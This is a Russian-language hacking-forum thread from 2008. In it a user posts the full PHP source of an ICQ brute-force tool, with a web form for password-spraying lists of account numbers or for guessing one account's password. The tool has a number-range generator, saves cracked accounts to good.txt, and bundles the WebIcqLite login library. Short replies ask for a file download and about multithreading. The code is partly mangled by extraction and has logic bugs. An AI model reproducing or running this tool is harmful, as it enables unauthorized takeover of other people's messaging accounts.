Брут Icq [php]

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by luz3r, 26 Sep 2008.

  1. luz3r

    luz3r Banned

    Joined:
    23 Feb 2008
    Messages:
    119
    Likes Received:
    250
    Reputations:
    -11
    PHP:
    <?   
    $good="good.txt";  
    $bad="bad.txt";     
    $pass="pass.txt";  
    $stop="stop.txt";  
    set_time_limit(0);  
    ignore_user_abort(1);  
    error_reporting(0);  
    if (
    file_exists($stop))  
        {  
        echo 
    "Уберите файл".$stop."для начала брута.";  
        exit();  
    }  

    $icq     = new WebIcqLite();  
    if(!empty(
    $_GET["icq"]) && $_GET["brute2"])   
    {  
    $filesfile($pass);  
    $icq=$_GET['icq'];  
    for(
    $i 0$i <= count($files); $i++)  
        {  
            
    $file trim($files[$i]);  
            list(
    $pass1) = explode("\r\n"$file);  
                if(!
    $icq->connect($icq$pass1[$i]))  
                     {  
                        
    $bads fopen($bad'ab');  
                           
    fwrite($bads$icq.";".$pass1."\r\n");  
                           
    fclose($bads);  
                      }  
                      else  
                      {  
                    
    $god fopen($good'ab');  
                       
    fwrite($god,$icq.";".$pass1."\r\n");  
                       
    fclose($god);  
                       
    usleep(100);  
                    }  
        }  
    }  
    elseif(!empty(
    $_GET["pass"]) && $_GET["brute"])   
    {  

    $file1="uins.txt";  
    $filesfile($file1);  
    $pass=$_GET['pass'];  
    for(
    $i 0$i <= count($files); $i++)  
        {  
            
    $file trim($files[$i]);  
            list(
    $uin) = explode("\r\n"$file);  
                if(!
    $icq->connect($uin$_GET['pass']))  
                     {  
                        
    $bads fopen($bad'ab');  
                           
    fwrite($bads$uin."\r\n");  
                           
    fclose($bads);  
                      }  
                      else  
                      {  
                    
    $god fopen($good'ab');  
                       
    fwrite($god$uin.";".$_POST['pass']."\r\n");  
                       
    fclose($god);  
                       
    usleep(100);  
                    }  
        }  
    }  
    else  
    {  
    ?>  
    <html>  
    <head><title>Pro-Html-Php ICQ-Brute version 1.5</title>  
        <meta http-equiv='Content-Type' content='text/html; charset=windows-1251' />  
    </head>  
        <style>  
            html, * {  
            background-color: #706A58;  
            color: white;  
            font-size: 11px;  
            font-family: Tahoma;  
            }  
              
            input, textarea {  
            border: solid 1px;  
            border-color:#FF0000;  
            }  
            pre{  
            font-size: 12px;  
            font-family: Tahoma;  
            }  
            div{  
            font-size: 20px;  
            font-family: Tahoma;  
            background-color: #000033;  
            }  
        </style>  
    <body>  

    <CENTER><div>Pro-Html-Php ICQ-Brute version 1.5</div></CENTER>  
    <CENTER><p><fieldset><legend>Брут:</legend>  

    <form method="GET">  
        Введите пароль, который будет брутиться <br/>ко всем номерам в файле uins.txt<br/>  
        <input name="pass" value=""/><br/><BR>  
        <INPUT TYPE="hidden" name="brute" value="1">  
        <input type="submit" value="Начать брут"/>  
        </form><P>  
    <form method="GET">  
        Введите icq номер <br/>к которому будут подбераться пароли из <?echo $pass;?><br/>  
        <input name="icq" value=""/><br/><BR>  
        <INPUT TYPE="hidden" name="brute2" value="1">  
        <input type="submit" value="Начать брут"/>  
        </form><P>  
        </fieldset>  
    <BR>  
            <p><fieldset><legend>Генератор:</legend><form method="GET">Начальный номер:  <P>  
              <input type="text" name="uin_start" />   
            </p>   
            <p>Конечный номер: <BR>  
              <input type="text" name="uin_end" />   
              <INPUT TYPE="hidden" name="gen" value="1">  
    </p>   
                     <p>  
                     <?  
        if(!empty($_GET["uin_start"]) && $_GET["gen"]) {  
         $uin1=$_GET["uin_start"];   
        $uin2=$_GET["uin_end"];   
        $gen = fopen("uins.txt", 'a+');  
    for($uinR = $uin1; $uinR <= $uin2; $uinR++)  
            {              
            fwrite($gen, $uins.";".$pass."\r\n");  
            }  
         echo "Done.";  
         fclose($gen);  
    }   
    ?></p> <p>   
              <input type="submit" value="Генирировать" />   
            </fieldset></p> </form>  
                    <?php  
        $file
    ="uins.txt";  
    $open=file($file);  
    $open_1=file('bad.txt');  
    $open_2=file('good.txt');  
        if (isset(
    $_GET["clean"]) && $_GET["clean"] == "uins") {  
            
    $handle fopen($file"w");  
            
    fclose($handle);  
            echo 
    "<b><font color=\"green\">Внимание:</font> файл ".$file." очищен</b><br><br>";  
        }  
        if (isset(
    $_GET["clean"]) && $_GET["clean"] == "bad") {  
            
    $handle fopen($bad"w");  
            
    fclose($handle);  
            echo 
    "<b><font color=\"green\">Внимание:</font> файл ".$bad." очищен</b><br><br>";  
        }  
            if (isset(
    $_GET["clean"]) && $_GET["clean"] == "good") {  
            
    $handle fopen($good"w");  
            
    fclose($handle);  
            echo 
    "<b><font color=\"green\">Внимание:</font> файл ".$good." очищен</b><br><br>";  
        }  
        if(!
    file_exists($file))  
        {  
            echo 
    "Необходимо создать файл <font style='color: #ED63A5'>".$file."</font> и вписать в него номера для брута<br />";  
        } else {  
            if(
    filesize($file) == )  
            {  
                echo 
    "Файл <font style='color: #ED63A5'>".$file."</font> пустой...необходимо вписать в него номера для брута<br />";  
            } else {  
                echo 
    "Файл <font style='color: #ED63A5'>".$file."</font> имеет ".count($open)." номеров<br /><A HREF=\"?clean=uins\">Очистить файл</A><BR>";  
                echo 
    "Файл <font style='color: #ED63A5'>bad.txt</font> имеет ".count($open_1)." номеров<br /><A HREF=\"?clean=bad\">Очистить файл</A><BR>";  
                echo 
    "Файл <font style='color: #ED63A5'>good.txt</font> имеет ".count($open_2)." номеров<br /><A HREF=\"?clean=good\">Очистить файл</A><BR>";  
            }  
            if(
    filesize($good) == )  
            {echo 
    "Ещё ничего не сбручено!<P><BR>";}  
            else{echo 
    "Сбручено ".count($open_2)." номера(ов).<br><pre>".file_get_contents($good)."</pre><BR><P>";}  
        }  
        
    ?>  

    All for <A HREF="http://Antichat.ru">Antichat.ru</A>.</CENTER>  
    </body>  
    </html>  
    <?  
    }  
    PHP:
    ?>  
    <?php  
    /*  
    * WebIcqLite: ICQ messages sender. v3.2b  
    * (C) 2006 Sergey Akudovich, http://intrigue.ru/  
    *  
    * This library is free software; you can redistribute it and/or  
    * modify it under the terms of the GNU Lesser General Public  
    * License as published by the Free Software Foundation; either  
    * version 2.1 of the License, or (at your option) any later version.  
    * See http://www.gnu.org/copyleft/lesser.html  
    *  
    */  

    class WebIcqLite_TLV {  
        var 
    $type;  
        var 
    $size;  
        var 
    $error;  

        var 
    $types = array  
        (  
            
    'UIN'                 =>  1// 0x01  
            
    'DATA'                =>  2// 0x02  
            
    'CLIENT'            =>  3// 0x03  
            
    'ERROR_URL'            =>  4// 0x04  
            
    'RECONECT_HERE'        =>  5// 0x05  
            
    'COOKIE'            =>  6// 0x06  
            
    'SNAC_VERSION'        =>  7// 0x07  
            
    'ERROR_SUBCODE'        =>  8// 0x08  
            
    'DISCONECT_REASON'    =>  9// 0x09  
            
    'RECONECT_HOST'        => 10// 0x0A  
            
    'URL'                => 11// 0x0B  
            
    'DEBUG_DATA'        => 12// 0x0C  
            
    'SERVICE'            => 13// 0x0D  
            
    'CLIENT_COUNTRY'    => 14// 0x0E  
            
    'CLIENT_LNG'        => 15// 0x0F  
            
    'SCRIPT'            => 16// 0x10  
            
    'USER_EMAIL'        => 17// 0x11  
            
    'OLD_PASSWORD'        => 18// 0x12  
            
    'REG_STATUS'        => 19// 0x13  
            
    'DISTRIB_NUMBER'    => 20// 0x14  
            
    'PERSONAL_TEXT'        => 21// 0x15  
            
    'CLIENT_ID'            => 22// 0x16  
            
    'CLI_MAJOR_VER'     => 23// 0x17  
            
    'CLI_MINOR_VER'     => 24// 0x18  
            
    'CLI_LESSER_VER'     => 25// 0x19  
            
    'CLI_BUILD_NUMBER'    => 26// 0x1A  
    //        'PASSWORD'            => 37  
        
    );  

        function 
    setTLV($type$value$length false)  
        {  
            switch (
    $length)  
            {  
                case 
    1:  
                    
    $format 'c';  
                    break;  
                case 
    2:  
                    
    $format 'n';  
                    break;  
                case 
    4:  
                    
    $format 'N';  
                    break;  
                default:  
                    
    $format 'a*';  
                    break;  
            }  
            if (
    $length === false)  
            {  
                
    $length strlen($value);  
            }  
            return 
    pack('nn'.$format$this->types[$type], $length$value);  
        }  

        function 
    getTLV($data)  
        {  
            
    $arr unpack('n2'substr($data04));  
            
    $this->type $arr[1];  
            
    $this->size $arr[2];  
            return 
    substr($data4$this->size);  
        }  

        function 
    getTLVFragment($data)  
        {  
            
    $frg unpack('cid/cversion/nsize'substr($data04));  
            
    $frg['data'] = substr($data4$frg['size']);  
            return 
    $frg;  
        }  
    }  

    class 
    WebIcqLite_SNAC extends WebIcqLite_TLV {  

        var 
    $request_id 0;  
        var 
    $uin;  

        function 
    setSNAC0102()  
        {  
            
    $this->request_id++;  
            
    $out pack('nnnN'120$this->request_id);  
            
    $out .= pack('n*'13272650);  
            
    $out .= pack('n*'21272650);  
            
    $out .= pack('n*'31272650);  
            
    $out .= pack('n*'211272650);  
            
    $out .= pack('n*'41272650);  
            
    $out .= pack('n*'61272650);  
            
    $out .= pack('n*'91272650);  
            
    $out .= pack('n*'101272650);  

            return 
    $out;  
        }  

        function 
    setSNAC0406($uin$message)  
        {  
            
    $this->request_id++;  
            
    $cookie microtime();  
            
    $out pack('nnnNdnca*'460$this->request_id$cookie2strlen($uin), $uin);  

            
    $capabilities pack('H*''094613494C7F11D18222444553540000'); // utf-8 support  
            // '97B12751243C4334AD22D6ABF73F1492' rtf support  

            
    $data pack('nd'0$cookie).$capabilities;  
            
    $data .= pack('nnn'1021);  
            
    $data .= pack('nn'150);  
            
    $data .= pack('nnvvddnVn'10001strlen($message)+622780003$this->request_id);  
            
    $data .= pack('nndnn'14$this->request_id000); //45  
            
    $data .= pack('ncvnva*'1001, (strlen($message)+1), $message);  
            
    $data .= pack('H*''0000000000FFFFFF00');  
            
    $out .= $this->setTLV('RECONECT_HERE'$data);  
            
    $out .= $this->setTLV('CLIENT''');  
            return 
    $out;  
        }  

        function 
    setSNAC0406offline($uin$message)  
        {  
            
    $this->request_id++;  
            
    $cookie microtime();  
            
    $out pack('nnnNdnca*'460$this->request_id$cookie1strlen($uin), $uin);  

            
    $data pack('ccnc'5111);  
            
    $data .= pack('ccnnna*'11strlen($message)+430$message);  
            
    $out .= $this->setTLV('DATA'$data);  
            
    $out .= $this->setTLV('CLIENT''');  
            
    $out .= $this->setTLV('COOKIE''');  
            return 
    $out;  
        }  

        function 
    getSNAC0407($body)  
        {  
            if (
    strlen($body))  
            {  
                
    $msg unpack('nfamily/nsubtype/nflags/Nrequestid/N2msgid/nchannel/cnamesize'$body);  
                if (
    $msg['family'] == && $msg['subtype'] == 7)  
                {  
                    
    $body substr($body21);  
                    
    $from substr($body0$msg['namesize']);  
                    
    $channel $msg['channel'];  
                    
    $body substr($body$msg['namesize']);  
                    
    $msg unpack('nwarnlevel/nTLVnumber'$body);  
                    
    $body substr($body4);  
                    for (
    $i 0$i <= $msg['TLVnumber']; $i++)  
                    {  
                        
    $part $this->getTLV($body);  
                        
    $body substr($body$this->size);  
                        if (
    $channel == && $this->type == 2)  
                        {  
                            while (
    strlen($part))  
                            {  
                                
    $frg $this->getTLVFragment($part);  
                                if (
    $frg['id'] == && $frg['version'] == 1)  
                                {  
                                    return array(
    'from' => $from'message' => substr($frg['data'], 4));  
                                }  
                                
    $part substr($part4+$frg['size']);  
                            }  
                            return 
    false;  
                        }  
                    }  
                }  
            }  
            return 
    false;  
        }  
        function 
    dump($str)  
        {  
            
    $f fopen('dump''a');  
            
    fwrite($f$str);  
            
    fclose($f);  
        }  

    }  

    class 
    WebIcqLite_FLAP extends WebIcqLite_SNAC{  

        var 
    $socet;  
        var 
    $command 0x2A;  
        var 
    $channel;  
        var 
    $sequence;  
        var 
    $body;  
        var 
    $info = array();  
        var 
    $size_flap;  
    PHP:
        function WebIcqLite_FLAP() {  
            
    $this->sequence rand(130000);  
        }  

        function 
    getFLAP()  
        {  
            if(
    $this->socet && !socket_last_error($this->socet))  
            {  
                
    $header socket_read($this->socet6);  
                if (
    $header)  
                {  
                    
    $header unpack('c2channel/n2size'$header);  
                    
    $this->channel $header['channel2'];  
                    
    $this->size_flap $header['size2'];  
                    
    $this->body socket_read($this->socet$header['size2']);  
                    return 
    true;  
                }  
                else  
                {  
                    return 
    false;  
                }  
            }  
        }  

        function 
    parseCookieFLAP()  
        {  
            
    $this->getFLAP();  
            
    $this->info = array();  
            while(
    $this->body != '')  
            {  
                
    $info $this->getTLV($this->body);  
                
    $key array_search($this->type$this->types);  
                if(
    $key)  
                {  
                    
    $this->info[$key] = $info;  
                }  
                
    $this->body substr($this->body, ($this->size+4));  
            }  
        }  

        function 
    parseAnswerFLAP()  
        {  
            
    $this->getFLAP();  
            
    $array unpack('n3int/Nint'$this->body);  
            while (
    $array['int'] != $this->request_id)  
            {  
                
    $this->getFLAP();  
                
    $array unpack('n3int/Nint'$this->body);  
            }  

            
    $this->error 'Unknown serwer answer';  
            if (
    $array['int1'] == 4)  
            {  
                switch (
    $array['int2'])  
                {  
                    case 
    1:  
                            
    $this->error 'Error to sent message';  
                            return 
    false;  
                        break;  
                    case 
    0x0c:  
                            return 
    true;  
                        break;  
                }  
            }  

            
    $this->error 'Unknown serwer answer';  
            return 
    false;  
        }  

        function 
    prepare()  
        {  
            
    $this->sequence++;  
            
    $out pack('ccnn'$this->command$this->channel$this->sequencestrlen($this->body)).$this->body;  
            return 
    $out;  
        }  

        function 
    login($uin$password)  
        {  
            
    $this->getFLAP();  
            
    $this->uin $uin;  
            
    $this->body .= $this->setTLV('UIN',                 "$uin");  
            
    $this->body .= $this->setTLV('DATA',                 $this->xorpass($password));  
            
    $this->body .= $this->setTLV('CLIENT',                 'ICQBasic');  
            
    $this->body .= $this->setTLV('CLIENT_ID',             2662);  
            
    $this->body .= $this->setTLV('CLI_MAJOR_VER',         202);  
            
    $this->body .= $this->setTLV('CLI_MINOR_VER',         342);  
            
    $this->body .= $this->setTLV('CLI_LESSER_VER',         02);  
            
    $this->body .= $this->setTLV('CLI_BUILD_NUMBER',     23212);  
            
    $this->body .= $this->setTLV('DISTRIB_NUMBER',         10854);  
            
    $this->body .= $this->setTLV('CLIENT_LNG',             'en');  
            
    $this->body .= $this->setTLV('CLIENT_COUNTRY',         'us');  


            
    $this->channel 1;  
            
    $pack $this->prepare();  
            
    socket_write($this->socet$packstrlen($pack));  
            
    $this->parseCookieFLAP();  
            return (
    $this->size_flap 0x100) ? true false;  

            
    $this->body 0x0000;  
            
    $pack $this->prepare();  
            
    socket_write($this->socet$packstrlen($pack));  
            
    $this->close();  

            if(isset(
    $this->info['RECONECT_HERE']))  
            {  
                
    $url explode(':'$this->info['RECONECT_HERE']);  
                if(!
    $this->open($url))  
                {  
                    
    $this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'Unable to reconnect';  
                    return 
    false;  
                }  
            }  
            else  
            {  
                
    $this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'UIN blocked, please try again 20 min later.';  
                return 
    false;  
            }  

            
    $this->getFLAP();  
            
    $this->body .= $this->setTLV('COOKIE'$this->info['COOKIE']);  
            
    $pack $this->prepare();  
            if (!
    socket_write($this->socet$packstrlen($pack)))  
            {  
                
    $this->error 'Can`t send cookie, server close connection';  
                return 
    false;  
            }  
            
    $this->getFLAP();  
            
    $this->body $this->setSNAC0102();  
            
    $pack $this->prepare();  
            if (!
    socket_write($this->socet$packstrlen($pack)))  
            {  
                
    $this->error 'Can`t send ready signal, server close connection';  
                return 
    false;  
            }  
            return 
    true;  
        }  

        function 
    write_message($uin$message)  
        {  
            
    $this->body $this->setSNAC0406($uin$message);  
            
    $pack $this->prepare();  
            if (!
    socket_write($this->socet$packstrlen($pack)))  
            {  
                
    $this->error 'Can`t send message, server close connection';  
                return 
    false;  
            }  
            if (! 
    $this->parseAnswerFLAP()) {  
                
    // try to send offline message  

                
    $this->body $this->setSNAC0406offline($uin$message);  
                
    $pack $this->prepare();  
                if (!
    socket_write($this->socet$packstrlen($pack)))  
                {  
                    
    $this->error 'Can`t send offline message, server close connection';  
                    return 
    false;  
                }  
                if (! 
    $this->parseAnswerFLAP())  
                {  
                    return 
    false;  
                }  
                else  
                {  
                    
    $this->error 'Client is offline. Message sent to server.';  
                    return 
    false;  
                }  
            }  

            return 
    true;  
        }  

        function 
    read_message()  
        {  
            while(
    $this->getFLAP())  
            {  
                
    $message $this->getSNAC0407($this->body);  
                if(
    $message){  
                    return 
    $message;  
                }  
            }  
            return 
    false;  
        }  

        function 
    xorpass($pass)  
        {  
            
    $roast = array(0xF30x260x810xC40x390x860xDB0x920x710xA30xB90xE60x530x7A0x950x7c);  
            
    $roasting_pass '';  
            for (
    $i=0$i<strlen($pass); $i++)  
            {  
                
    $roasting_pass .= chr($roast[$i] ^ ord($pass{$i}));  
            }  
            return(
    $roasting_pass);  
        }  

        function 
    open($url = array('login.icq.com'5190))  
        {  
            
    $this->socet socket_create(AF_INETSOCK_STREAMSOL_TCP);  
            if (
    $this->socet || $this->socet === false)  
            {  
                
    $this->error "socket_create() failed: reason: " socket_strerror($this->socet);  
                return 
    false;  
            }  
            
    $result socket_connect($this->socetgethostbyname($url[0]), $url[1]);  
            if (
    $result || $result === false)  
            {  
                
    $this->error "socket_connect() failed.\nReason: ($result) " socket_strerror(socket_last_error($socket));  
                return 
    false;  
            }  
            return 
    true;  
        }  

        function 
    close()  
        {  
            return 
    socket_close($this->socet);  
        }  
    }  

    class 
    WebIcqLite extends WebIcqLite_FLAP {  

        function 
    WebIcqLite ()  
        {  
            
    $this->WebIcqLite_FLAP();  
        }  

        function 
    is_connected()  
        {  
            if(!
    $this->socet || socket_last_error($this->socet))  
            {  
                
    $this->error socket_strerror(socket_last_error($socket));  
                return 
    false;  
            }  
            return 
    true;  
        }  

        function 
    connect($uin$pass)  
        {  
            if (!
    $this->open())  
            {  
                return 
    false;  
            }  

            return 
    $this->login($uin$pass);  
        }  

        function 
    disconnect()  
        {  
            return 
    $this->close();  
        }  

        function 
    get_message()  
        {  
            return 
    $this->read_message();  
        }  

        function 
    send_message($uin$message)  
        {  
            return 
    $this->write_message($uin$message);  
        }  
    }  
    ?>
    HoRmOlD
    Скрипт для ICQ-брута + Бонус + Генератор!
    Для запуска вам надо просто ввести пароль который будет подбераться к номерам из текстового файла.
    В этой версии я сделал вам два сюрприза! Это: Генератор номеров(вам просто надо написать начальный и конечный номер для генерации!) и базу частых паролей!!

    З.Ы. Пришлось разделить из-за большого кода..
     
    #1 luz3r, 26 Sep 2008
    Last edited: 26 Sep 2008
    4 people like this.
  2. BlackDraG

    BlackDraG Elder - Старейшина

    Joined:
    27 May 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    выложи лучше целым файлом куда нить )
     
  3. luz3r

    luz3r Banned

    Joined:
    23 Feb 2008
    Messages:
    119
    Likes Received:
    250
    Reputations:
    -11
  4. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    как там насчёт многопоточности ?
     
  5. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Это ж пхп- никакой многопоточности...:(